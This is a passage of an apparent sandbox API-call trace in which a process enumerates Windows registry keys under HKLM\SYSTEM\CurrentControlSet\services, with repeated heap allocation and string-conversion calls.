BaseAddress=0x21f1d60) returned 1 [0239.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.505] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0239.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0239.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.506] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0239.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0239.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.506] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0239.506] RegCloseKey (hKey=0x80000002) returned 0x0 [0239.506] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0239.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0239.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.506] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0239.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0239.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.507] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0239.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0239.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1928, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0239.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.507] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0239.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0239.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.507] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0239.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0239.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.507] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0239.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0239.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.508] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0239.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0239.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.508] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0239.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0239.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.508] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0239.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0239.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.508] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0239.509] RegCloseKey (hKey=0x150) returned 0x0 [0239.509] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0239.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0239.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.509] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0239.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0239.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.509] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0239.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0239.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.509] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0239.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0239.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.510] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0239.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0239.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.510] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0239.510] RegCloseKey (hKey=0x14c) returned 0x0 [0239.510] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0239.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0239.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.510] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0239.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0239.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1d60, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0239.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.511] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0239.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0239.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1928, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0239.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.511] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0239.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0239.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1d60, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0239.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.511] RegEnumKeyW (in: hKey=0x150, 